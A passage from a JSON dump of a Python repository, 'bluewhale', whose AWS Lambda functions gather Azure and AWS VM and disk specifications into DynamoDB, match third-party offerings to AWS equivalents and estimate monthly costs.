type').eq(type) \n )\n if not data['Items']:\n return []\n # find the highest number of vCPUs for potential match\n values = [x['vCPUs'] for x in data['Items']]\n max_vCPUs = max(values)\n\n # add all instances of this largest size to a list\n largest_matches = []\n for instance in data['Items']:\n if instance['vCPUs'] == max_vCPUs:\n largest_matches.append(instance['name'])\n \n return largest_matches\n \n # find the lowest number of vCPUs for potential match\n values = [x['vCPUs'] for x in matches['Items']]\n min_vCPUs = min(values)\n\n\n # add all instances with that many vCPUs to list\n # find the lowest amount of memory at the same time\n matched_instances = []\n potential_matches = []\n for instance in matches['Items']:\n if instance['vCPUs'] == min_vCPUs:\n potential_matches.append(instance)\n\n # we now have the instances matched by vCPUs now we need to match by memory\n\n # we are going to try to find the 5 closest instances in memory\n for i in range(0,5):\n # while we still have options\n if potential_matches:\n # find the closest instance\n closest = min(potential_matches, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\n # add the instance to our final list\n matched_instances.append(closest['name'])\n \n # remove the closest from the potential matches so we can find the next closest\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\n \n # repeat 5x\n\n return matched_instances\n \n \ndef lambda_handler(event, context):\n dynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\n table = dynamodb.Table('bluewhale_resources')\n \n print(\"Getting data...\")\n # get azure and gcp vm data\n third_party_vm = table.scan(\n FilterExpression= Attr('resource type').eq('virtual machine') & (Attr('provider').eq('Azure') or Attr('provider').eq('GCP'))\n )\n \n print(\"begin matching...\")\n counter = 0\n # add in the AWS matches to each vm!\n for vm in third_party_vm['Items']:\n counter = counter + 1\n print(str(counter) + ' ' + vm['name'])\n \n matches = match_vm(vm,table)\n table.update_item(\n Key={\n 'name': vm['name']\n },\n UpdateExpression=\"set AWS_matches=:a\",\n ExpressionAttributeValues={\n ':a': matches\n },\n ReturnValues=\"UPDATED_NEW\"\n )\n print(\"done!\")\n return {\n 'statusCode': 200,\n 'body': json.dumps('Matching complete!')\n }\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5951219797134399,\n \"alphanum_fraction\": 0.6000000238418579,\n \"avg_line_length\": 34.775001525878906,\n \"blob_id\": \"1d349c3e577823c25c63093e6ece4d6b21acdcbc\",\n \"content_id\": \"6e649c48fcda32052adf08fe84387fce4bc18498\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1435,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 40,\n \"path\": \"/bluewhale_vm_provider_category_list.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: return the virtual machines from a given provider in a given compute category\\n\\nimport json\\nimport boto3\\nfrom boto3.dynamodb.conditions import Attr\\n\\ndef lambda_handler(event, context):\\n # parameters\\n provider = event['queryStringParameters']['provider']\\n category = event['queryStringParameters']['category']\\n dynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\n table = dynamodb.Table('bluewhale_resources')\\n \\n print(\\\"Getting data...\\\")\\n # get azure and gcp vm data\\n third_party_vm = table.scan(\\n FilterExpression= Attr('resource type').eq('virtual machine') \\n & Attr('provider').eq(provider)\\n & Attr('virtual machine type').eq(category)\\n )\\n \\n # json does not support the decimal type that DynamoDB stores our numbers as so we need to re-cast the data types\\n for item in third_party_vm['Items']:\\n print(item)\\n if 'MemoryMB' in item:\\n item['MemoryMB'] = int(item['MemoryMB'])\\n if 'vCPUs' in item:\\n item['vCPUs'] = int(item['vCPUs'])\\n if 'vCPUsPerCore' in item:\\n item['vCPUsPerCore'] = int(item['vCPUsPerCore'])\\n \\n return {\\n 'statusCode': 200,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps(third_party_vm)\\n }\\n \"\n },\n {\n \"alpha_fraction\": 0.7331887483596802,\n \"alphanum_fraction\": 0.7418655157089233,\n \"avg_line_length\": 34.42307662963867,\n \"blob_id\": \"dafbf3989b0d5a1406f74166c95b20a395716571\",\n \"content_id\": \"b4aa0ca25129b249a226902b57dd01f3ae62e7d1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 922,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 26,\n \"path\": \"/testing+data/azureAPI.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport adal\\nimport json\\nimport os\\n\\n# call azure API!\\n\\n# info for azure authentification\\nazure_client_id = os.environ['azure_client_id']\\nazure_secret = os.environ['azure_secret']\\nazure_subscription_id = os.environ['azure_subscription_id']\\nazure_tenant = os.environ['azure_tenant']\\nauthority_url = 'https://login.microsoftonline.com/' + azure_tenant\\nresource = 'https://management.azure.com/'\\n\\ncontext = adal.AuthenticationContext(authority_url)\\ntoken = context.acquire_token_with_client_credentials(resource, azure_client_id, azure_secret)\\n\\nheaders = {'Authorization': 'Bearer ' + token['accessToken'], 'Content-Type': 'application/json'}\\n\\nparams = {'api-version': '019-04-01'}\\nurl = 'https://management.azure.com/subscriptions/'+azure_subscription_id+'/providers/Microsoft.Compute/skus'\\n\\nr = requests.get(url, headers=headers, params=params)\\n\\nprint(json.dumps(r.json(), indent=4, separators=(',', ': ')))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5926773548126221,\n \"alphanum_fraction\": 0.5997711420059204,\n \"avg_line_length\": 39.841121673583984,\n \"blob_id\": \"d424f497a096c58c3942048e27eeafc87150276d\",\n \"content_id\": \"2bdbbb28eb5c86684fb38c062fd8c59357cd85f5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4370,\n \"license_type\": \"no_license\",\n \"max_line_length\": 136,\n \"num_lines\": 107,\n \"path\": \"/bluewhale_aws_refresh.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: This function calls an EC2 API to retrieve specs about the different AWS EC2 offerings. \\n# It categorizes and selects the desired specs for every returned instance and puts them into the DynamoDB\\n# Table 'bluewhale_resources'\\n\\n\\nimport boto3\\nimport json\\n\\ndef ebs_refresh():\\n # this is one of the few hard coded values, if a new category is updated, this will need to change\\n ebs_categories = ['Magnetic', 'General Purpose', 'Provisioned IOPS', 'Throughput Optimized HDD', 'Cold HDD']\\n\\n pricing_client = boto3.client('pricing', region_name='us-east-1')\\n\\n # get all ebs products\\n # this block is an API call that parses the json data\\n ebs_details = []\\n ebs_names = []\\n for ebs_type in ebs_categories:\\n response = [\\\"NextToken\\\"]\\n while \\\"NextToken\\\" in response:\\n response = pricing_client.get_products(ServiceCode='AmazonEC2', Filters=[\\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}])\\n\\n for priceItem in response[\\\"PriceList\\\"]:\\n priceItemJson = json.loads(priceItem)\\n name = priceItemJson['product'][\\\"attributes\\\"]['volumeApiName']\\n if name not in ebs_names:\\n ebs_names.append(name)\\n ebs_details.append(priceItemJson)\\n \\n # we now have data about the volumes but need to parse out and only grab that data we want for the DB\\n refresh_data = []\\n # get the name and attributes for each!\\n for details in ebs_details:\\n attrs = details['product']['attributes']\\n ebs_data = {}\\n ebs_data['name'] = attrs['volumeApiName']\\n ebs_data['provider'] = 'AWS'\\n ebs_data['resource type'] = 'virtual disk'\\n ebs_data['maxIopsvolume'] = attrs['maxIopsvolume']\\n ebs_data['maxThroughputvolume'] = attrs['maxThroughputvolume']\\n ebs_data['maxVolumeSize'] = attrs['maxVolumeSize']\\n ebs_data['storageMedia'] = attrs['storageMedia']\\n ebs_data['volumeType'] = attrs['volumeType']\\n ebs_data['MaxSizeGiB'] = int(attrs['maxVolumeSize'].split(' ')[0]) * 1024\\n refresh_data.append(ebs_data)\\n \\n return refresh_data\\n\\ndef lambda_handler(event, context):\\n # get ec2 instance information\\n data = boto3.client('ec2').describe_instance_types()\\n \\n instances = data['InstanceTypes']\\n \\n while \\\"NextToken\\\" in data:\\n data = boto3.client('ec2').describe_instance_types(NextToken=data[\\\"NextToken\\\"])\\n instances.extend(data['InstanceTypes'])\\n \\n # associates name with compute category\\n vm_types = {\\n 'm':'general purpose', 't':'general purpose', 'a':'general purpose', \\n 'c':'compute optimized',\\n 'r':'memory optimized', 'u':'memory optimized', 'x':'memory optimized', 'z':'memory optimized',\\n 'i':'storage optimized', 'd':'storage optimized','h':'storage optimized',\\n 'p':'accelerated computing', 'inf':'accelerated computing', 'g':'accelerated computing', 'f':'accelerated computing' \\n }\\n \\n print(len(instances))\\n ec2_specs = []\\n for instance in instances:\\n # categorize instance\\n if instance['InstanceType'][0] == 'i': # this block catches edge case where two different categories of instances start with 'i'\\n if instance['InstanceType'][1] == '3':\\n type = 'storage optimized'\\n else:\\n type = 'accelerated computing'\\n else:\\n type = vm_types[instance['InstanceType'][0]]\\n \\n # get data ready to be put in DB\\n ec2_specs.append(\\n {\\n 'name': instance['InstanceType'],\\n 'resource type' : 'virtual machine',\\n 'virtual machine type' : type,\\n 'vCPUs': int(instance['VCpuInfo']['DefaultVCpus']),\\n 'MemoryMB': int(int(instance['MemoryInfo']['SizeInMiB']) * 1.049), # conver from Mib to \\n 'NetworkInfo': instance['NetworkInfo'],\\n 'provider': 'AWS'\\n \\n }\\n )\\n \\n # put data in DB\\n table = boto3.resource('dynamodb').Table('bluewhale_resources')\\n for item in ec2_specs:\\n table.put_item(Item=item)\\n for item in ebs_refresh():\\n table.put_item(Item=item)\\n \\n return {\\n 'statusCode': 200,\\n 'body': json.dumps('Refresh complete!')\\n }\\n\"\n },\n {\n \"alpha_fraction\": 0.6517241597175598,\n \"alphanum_fraction\": 0.6735632419586182,\n \"avg_line_length\": 35.29166793823242,\n \"blob_id\": \"c82864ea9d0755c9e788835a962280db2969c2a4\",\n \"content_id\": \"7a93f3fb0b53692bc19905908817283e0368fb06\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 870,\n \"license_type\": \"no_license\",\n \"max_line_length\": 166,\n \"num_lines\": 24,\n \"path\": \"/testing+data/closeNumberTest.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import time\\nstart = time.time()\\n\\npotential_matches = [{'MemoryMB':2,'name':1},{'MemoryMB':2,'name':2},{'MemoryMB':3,'name':3},{'MemoryMB':10,'name':4},{'MemoryMB':1,'name':5},{'MemoryMB':5,'name':6}]\\nvm = {}\\nvm['MemoryMB'] = 1\\nmatched_instances = []\\n\\n# we are going to find the 5 closest instances in memory\\nfor i in range(0,5):\\n # find the closest instance\\n closest = min(potential_matches, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\\n # add the instance to our final list\\n matched_instances.append(closest)\\n\\n print(closest)\\n \\n # remove the closest from the potential matches so we can find the next closest\\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\\n\\n# we now have a list of the five closest instances by memory\\ntime.sleep(0.9)\\nend = time.time()\\nprint(\\\"Time consumed in working: \\\",end - start)\"\n },\n {\n \"alpha_fraction\": 0.5935798287391663,\n \"alphanum_fraction\": 0.5973058342933655,\n \"avg_line_length\": 33.50495147705078,\n \"blob_id\": \"9b465fc15be1da02fc436771030ef75051978144\",\n \"content_id\": \"72dfd93dba5e48085c9b4237f05724f8be491951\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3489,\n \"license_type\": \"no_license\",\n \"max_line_length\": 128,\n \"num_lines\": 101,\n \"path\": \"/testing+data/test.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import boto3\\nfrom boto3.dynamodb.conditions import Key\\nfrom boto3.dynamodb.conditions import Attr\\nimport time\\nstart = time.time()\\n\\ndynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\ntable = dynamodb.Table('bluewhale_resources')\\n\\n# query for AWS vm\\nAWS_vm= table.scan(\\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\\n FilterExpression= Attr('resource type').eq('virtual machine') \\n & Attr('provider').eq('AWS')\\n)\\n\\ndef match_vm(vm,t):\\n # get vm specs\\n vCPUs = vm['vCPUs']\\n memory = vm['MemoryMB']\\n type = vm['virtual machine type']\\n potential_matches = []\\n matched_instances = []\\n\\n # filter potential matches\\n for vm in AWS_vm['Items']:\\n if vm['virtual machine type'] == type and 'vCPUs' == vCPUs and 'MemoryMB' >= int(float(memory) - (float(memory)*0.2)):\\n potential_matches.append(vm)\\n\\n # edge case where AWS does not offer large enough instance in terms of vCPUs\\n if not potential_matches:\\n # if this is the case, we will return the largest possible instance\\n # get all of the specified type\\n data = t.scan(\\n FilterExpression= Attr('resource type').eq('virtual machine') \\n & Attr('provider').eq('AWS')\\n & Attr('virtual machine type').eq(type) \\n )\\n if not data['Items']:\\n return []\\n # find the lowest number of vCPUs for potential match\\n values = [x['vCPUs'] for x in data['Items']]\\n max_vCPUs = max(values)\\n\\n # add all instances of this largest size to a list\\n largest_matches = []\\n for instance in data['Items']:\\n if instance['vCPUs'] == max_vCPUs:\\n largest_matches.append(instance['name'])\\n \\n return largest_matches\\n \\n # find the lowest number of vCPUs for potential match\\n \\n min_vCPUs = min(potential_matches, key=lambda x:x['vCPUs'] == vm['vCPUs'])\\n\\n # we now have the instances matched by vCPUs now we need to match by memory\\n\\n\\n # we are going to try to find the 5 closest instances in memory\\n for i in range(0,5):\\n # while we still have options\\n if min_vCPUs:\\n # find the closest instance\\n closest = min(min_vCPUs, key=lambda x:abs(x['MemoryMB']-vm['MemoryMB']))\\n # add the instance to our final list\\n matched_instances.append(closest['name'])\\n \\n # remove the closest from the potential matches so we can find the next closest\\n potential_matches = [i for i in potential_matches if not (i['name'] == closest['name'])]\\n \\n # repeat 5x\\n\\n return matched_instances\\n\\nprint(\\\"Getting data...\\\")\\n# get azure and gcp vm data\\nthird_party_vm = table.scan(\\n FilterExpression= Attr('resource type').eq('virtual machine') & (Attr('provider').eq('Azure') or Attr('provider').eq('GCP'))\\n )\\n\\nprint(\\\"begin matching...\\\")\\ncounter = 0\\n# add in the AWS matches to each vm!\\nfor vm in third_party_vm['Items']:\\n counter = counter + 1\\n print(str(counter) + ' ' + vm['name'])\\n\\n matches = match_vm(vm,table)\\n table.update_item(\\n Key={\\n 'name': vm['name']\\n },\\n UpdateExpression=\\\"set AWS_matches=:a\\\",\\n ExpressionAttributeValues={\\n ':a': matches\\n },\\n ReturnValues=\\\"UPDATED_NEW\\\"\\n )\\nprint(\\\"done!\\\")\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5751320123672485,\n \"alphanum_fraction\": 0.5904944539070129,\n \"avg_line_length\": 36.85454559326172,\n \"blob_id\": \"8748d7d2a863e1ae7456903d9898e5cc6b19ee32\",\n \"content_id\": \"dbfd873639a5fd65dc61d6b38990e9b028be4bb3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2083,\n \"license_type\": \"no_license\",\n \"max_line_length\": 129,\n \"num_lines\": 55,\n \"path\": \"/bluewhale_disk_match.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: Matches the 3rd party disk offerings with AWS matches\\n# This code will need to be maintaned as the matches are done through a dict\\n# we at first wanted to match based off IOPs but the way the different providers list or calculate IOPs differs a lot\\n# so the disks are martched by use case\\n\\nimport json\\nimport boto3\\nfrom boto3.dynamodb.conditions import Attr\\n\\ndef lambda_handler(event, context):\\n # there are only a few general categories of block storage available so we match the instances\\n # with a hard coded dict--the GCP disks calculate IOPs in a very different way than AWS or Azure\\n # so I went with a hard coded solution\\n # because of this, this code will need to be maintained\\n match_map = {\\n 'pd-extreme' : ['io1', 'io2'],\\n 'pd-ssd' : ['gp2', 'gp3'],\\n 'pd-balanced' : ['gp2', 'gp3'],\\n 'pd-standard' : ['st1', 'sc1'],\\n 'Premium_LRS': ['io1', 'io2','gp2', 'gp3'],\\n 'Premium_ZRS': ['io1', 'io2','gp2', 'gp3'],\\n 'StandardSSD_LRS' : ['gp2', 'gp3'],\\n 'StandardSSD_ZRS' : ['gp2', 'gp3'],\\n 'Standard_LRS' : ['st1', 'sc1'],\\n 'UltraSSD_LRS' : ['io1', 'io2']\\n }\\n \\n \\n dynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\n table = dynamodb.Table('bluewhale_resources')\\n \\n print(\\\"Getting data...\\\")\\n # get azure and gcp disk data\\n third_party_disk = table.scan(\\n FilterExpression= Attr('resource type').eq('virtual disk') & (Attr('provider').eq('Azure') or Attr('provider').eq('GCP'))\\n )\\n # add the matches into the DB entries!\\n for disk in third_party_disk['Items']:\\n table.update_item(\\n Key={\\n 'name': disk['name']\\n },\\n UpdateExpression=\\\"set AWS_matches=:a\\\",\\n ExpressionAttributeValues={\\n ':a': match_map[disk['name']]\\n },\\n ReturnValues=\\\"UPDATED_NEW\\\"\\n )\\n print(\\\"done!\\\")\\n return {\\n 'statusCode': 200,\\n 'body': json.dumps('Matching complete!')\\n }\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5218985080718994,\n \"alphanum_fraction\": 0.5309666395187378,\n \"avg_line_length\": 36.550724029541016,\n \"blob_id\": \"faa71b71a0eb233794af03064ffbf9c44541437c\",\n \"content_id\": \"82f1345fc9250176be02b31cd675f2d6818edac4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5183,\n \"license_type\": \"no_license\",\n \"max_line_length\": 157,\n \"num_lines\": 138,\n \"path\": \"/bluewhale_calculate_cost.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: take in list of AWS resources and calculate the price per month for these resources\\n# Inputs: list of dicts containing details about ec2 instances, list of dicts containing details about EBS resources\\n# Output: the input dicts with the price per month added into the cost and the total cost per month of all instances\\n\\nimport json\\nimport boto3\\n\\n\\ndef get_ec2_cost(reg, ec2, os, quantity, pc, hours):\\n # if this region, ec2 and os combo is not available this code might fail\\n # so we will try + catch and return None if there is an issue\\n try:\\n paginator = pc.get_paginator('get_products')\\n\\n response_iterator = paginator.paginate(\\n ServiceCode=\\\"AmazonEC2\\\",\\n Filters=[\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'location',\\n 'Value': reg\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'instanceType',\\n 'Value': ec2\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'capacitystatus',\\n 'Value': 'Used'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'tenancy',\\n 'Value': 'Shared'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'preInstalledSw',\\n 'Value': 'NA'\\n },\\n {\\n 'Type': 'TERM_MATCH',\\n 'Field': 'operatingSystem',\\n 'Value': os\\n }\\n ],\\n PaginationConfig={\\n 'PageSize': 100\\n }\\n )\\n\\n products = []\\n for response in response_iterator:\\n for priceItem in response[\\\"PriceList\\\"]:\\n priceItemJson = json.loads(priceItem)\\n products.append(priceItemJson)\\n \\n # parse out the data we want\\n sku = products[0]['product']['sku']\\n on_demand_code = sku + '.' + 'JRTCKXETXF'\\n price_per_hr_code = '6YS6EN2CT7'\\n price_per_hour_usd = products[0]['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\\n \\n \\n\\n return round(hours * float(price_per_hour_usd) * int(quantity), 2)\\n except:\\n return 0\\n\\ndef get_ebs_cost(region, ebs_type, ebs_name, quantity, size_GB, pc):\\n\\n response = pc.get_products(ServiceCode='AmazonEC2', Filters=[\\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}, \\n {'Type': 'TERM_MATCH', 'Field': 'location', 'Value': region}])\\n \\n products = []\\n for priceItem in response[\\\"PriceList\\\"]:\\n priceItemJson = json.loads(priceItem)\\n products.append(priceItemJson)\\n print(priceItemJson)\\n \\n # parse out the data we want\\n price_per_hour_usd = 0 # to prevent return 'None'\\n for ebs in products: # this goes through the ebse of type 'ebs_type' and selects the price\\n sku = ebs['product']['sku']\\n on_demand_code = sku + '.' + 'JRTCKXETXF'\\n price_per_hr_code = '6YS6EN2CT7'\\n if ebs_name == ebs['product'][\\\"attributes\\\"]['volumeApiName']:\\n price_per_hour_usd = ebs['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\\n \\n \\n \\n return round(float(price_per_hour_usd) * int(quantity) * int(size_GB), 2)\\n\\n\\ndef lambda_handler(event, context):\\n json_data = json.loads(event['body'])\\n #json_data = event\\n\\n ec2 = json_data['ec2'] # dicts of {'name': name, 'region':region, 'os':os, 'quantity': quantity}\\n ebs = json_data['ebs'] # dicts of {'name': name, 'region': region}\\n total_cost_per_month = 0\\n total_cost_per_month_EC2 = 0\\n total_cost_per_month_EBS = 0\\n pricing_client = boto3.client('pricing', region_name='us-east-1')\\n\\n # get cost info for all ec2 instances\\n for e in ec2:\\n # update individual price\\n e['price per month USD'] = get_ec2_cost(e['region'], e['name'], e['os'], e['quantity'], pricing_client, 730)\\n # update the total cost\\n total_cost_per_month_EC2 += e['price per month USD']\\n # get cost info for all ebs volumes\\n for x in ebs:\\n # update individual price\\n x['price per month USD'] = get_ebs_cost(x['region'], x['type'], x['name'], x['quantity'], x['GB'], pricing_client)\\n # update the total cost\\n total_cost_per_month_EBS += x['price per month USD'] \\n \\n total_cost_per_month = total_cost_per_month_EBS + total_cost_per_month_EC2\\n \\n return {\\n 'statusCode': 200,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps({\\n 'compute costs' : ec2,\\n 'storage costs' : ebs,\\n 'total EC2 cost per month USD' : total_cost_per_month_EC2,\\n 'total EBS cost per month USD' : total_cost_per_month_EBS,\\n 'total cost per month USD' : total_cost_per_month\\n\\n })\\n }\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6456953883171082,\n \"alphanum_fraction\": 0.6556291580200195,\n \"avg_line_length\": 36.875,\n \"blob_id\": \"f83631ebb1c95617065d16951a508f48021636c3\",\n \"content_id\": \"e42632f85d1d9a6a84e40a091d1e3b11bc1dbc57\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 302,\n \"license_type\": \"no_license\",\n \"max_line_length\": 144,\n \"num_lines\": 8,\n \"path\": \"/gcp_refresh_resources/api_gateway_test.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport json\\n\\ndata = requests.get('https://pz9xze9vsl.execute-api.us-east-1.amazonaws.com/prod/virtual-machines/list?provider=Azure&category=general purpose')\\nj = json.loads(data.text)\\nfor machine in j['Items']:\\n print(machine['name'])\\n print('...................................')\"\n },\n {\n \"alpha_fraction\": 0.594629168510437,\n \"alphanum_fraction\": 0.6035805344581604,\n \"avg_line_length\": 26.964284896850586,\n \"blob_id\": \"e43ad7a3c2cc1e1c839398e91213b7c57b1cc45b\",\n \"content_id\": \"7994cd79ff1defd1fdce9fe2b2cc46133e8c0649\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 782,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 28,\n \"path\": \"/bluewhale_disk_provider_list.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: Lists the disk options given a provider\\n\\nimport json\\nimport boto3\\nfrom boto3.dynamodb.conditions import Attr\\n\\ndef lambda_handler(event, context):\\n # parameters\\n provider = event['queryStringParameters']['provider']\\n dynamodb = boto3.resource('dynamodb', endpoint_url=\\\"https://dynamodb.us-east-1.amazonaws.com\\\")\\n\\n table = dynamodb.Table('bluewhale_resources')\\n \\n print(\\\"Getting data...\\\")\\n # get disk data\\n disks = table.scan(\\n FilterExpression= Attr('resource type').eq('virtual disk') \\n & Attr('provider').eq(provider)\\n )\\n\\n return {\\n 'statusCode': 200,\\n 'headers' : {\\n 'Access-Control-Allow-Origin': '*',\\n },\\n 'body': json.dumps(disks)\\n }\"\n },\n {\n \"alpha_fraction\": 0.5368931889533997,\n \"alphanum_fraction\": 0.5368931889533997,\n \"avg_line_length\": 21.77777862548828,\n \"blob_id\": \"a2b6aafcd7efbcaf9fd05052c8f7f34d656f39ed\",\n \"content_id\": \"495c85e992e106d81de0d342d6122a9b6ede3225\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1030,\n \"license_type\": \"no_license\",\n \"max_line_length\": 146,\n \"num_lines\": 45,\n \"path\": \"/testing+data/parseAzureSKU.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import json\\n\\n# parse list-sku azure api calls\\n\\nwith open('list-skus.json') as json_file:\\n data = json.load(json_file)\\n\\nvm = []\\ndisk = []\\nfor j in data:\\n if j['resourceType'] == 'virtualMachines':\\n vm.append(\\n j\\n )\\n elif j['resourceType'] == 'disks':\\n disk.append(\\n j\\n )\\n\\n\\nall_vm_specs = []\\nfor v in vm:\\n vm_specs = {}\\n vm_specs['name'] = v['name']\\n for c in v['capabilities']:\\n if c['name'] == 'vCPUs' or c['name'] == 'MemoryGB' or c['name'] == 'vCPUsAvailable' or c['name'] == 'ACUs' or c['name'] == 'vCPUsPerCore':\\n vm_specs[c['name']] = c['value']\\n all_vm_specs.append(vm_specs)\\n\\nall_disk_specs = []\\nfor d in disk:\\n disk_specs = {}\\n disk_specs['name'] = v['name']\\n disk_specs['size'] = v['size']\\n for c in d['capabilities']:\\n disk_specs[c['name']] = c['value']\\n all_disk_specs.append(disk_specs)\\n\\nfor dict in all_vm_specs:\\n print(dict)\\n print()\\n\\n#for dict in all_disk_specs:\\n# print(dict)\\n# print()\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.5766052007675171,\n \"alphanum_fraction\": 0.5825386643409729,\n \"avg_line_length\": 33.19565200805664,\n \"blob_id\": \"baade52a5e82588fa54dc6239e307f98e10e13de\",\n \"content_id\": \"71bdefd908d775445f338aca74d0815c741f1465\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4719,\n \"license_type\": \"no_license\",\n \"max_line_length\": 178,\n \"num_lines\": 138,\n \"path\": \"/bluewhale_azure_refresh.py\",\n \"repo_name\": \"Caleb-Grode/bluewhale\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Author: Caleb Grode\\n# Purpose: This function calls an Azure API to retrieve specs about the different Azure VM & virtual disk offerings. \\n# It categorizes and selects the desired specs for every returned instance and puts them into the DynamoDB\\n# table 'bluewhale_resources'\\n\\nimport json\\nimport requests\\nimport adal\\nimport boto3\\nfrom decimal import Decimal\\nimport os\\n\\n# timeout: 30 seconds (takes about 15)\\n# memory: 512MB (uses about 251)\\n\\ndef lambda_handler(event, context):\\n\\n # info for azure authentification\\n azure_client_id = os.environ['azure_client_id']\\n azure_secret = os.environ['azure_secret']\\n azure_subscription_id = os.environ['azure_subscription_id']\\n azure_tenant = os.environ['azure_tenant']\\n authority_url = 'https://login.microsoftonline.com/' + azure_tenant\\n resource = 'https://management.azure.com/'\\n \\n # for API request\\n context = adal.AuthenticationContext(authority_url)\\n token = context.acquire_token_with_client_credentials(resource, azure_client_id, azure_secret)\\n \\n # API request header\\n headers = {'Authorization': 'Bearer ' + token['accessToken'], 'Content-Type': 'application/json'}\\n \\n # API params and url\\n params = {'api-version': '019-04-01'}\\n url = 'https://management.azure.com/subscriptions/'+azure_subscription_id+'/providers/Microsoft.Compute/skus'\\n \\n \\n print(\\\"calling API\\\")\\n azure_SKUs_JSON = requests.get(url, headers=headers, params=params)\\n print(\\\"API called!\\\")\\n azure_SKUs_JSON = azure_SKUs_JSON.json()\\n\\n \\n # now we have our Azure data\\n # begin parsing\\n \\n vm = []\\n disk = []\\n for j in azure_SKUs_JSON['value']:\\n # grab all VMs\\n if j['resourceType'] == 'virtualMachines':\\n vm.append(\\n j\\n )\\n # grab all disks\\n elif j['resourceType'] == 'disks':\\n disk.append(\\n j\\n )\\n \\n # associates the first letter of a vm size with its (AWS equivalent) compute category\\n vm_types = {\\n 'D':'general purpose', 'A':'general purpose', 'B':'general purpose', \\n 'F':'compute optimized','H':'compute optimized',\\n 'E':'memory optimized', 'M':'memory optimized', 'G':'memory optimized',\\n 'L':'storage optimized',\\n 'N':'accelerated computing',\\n 'P':'unknown edge case' \\n }\\n \\n # parse out the specifications of the VMs\\n all_vm_specs = []\\n name_dict = {}\\n for v in vm: \\n vm_specs = {}\\n vm_specs['name'] = 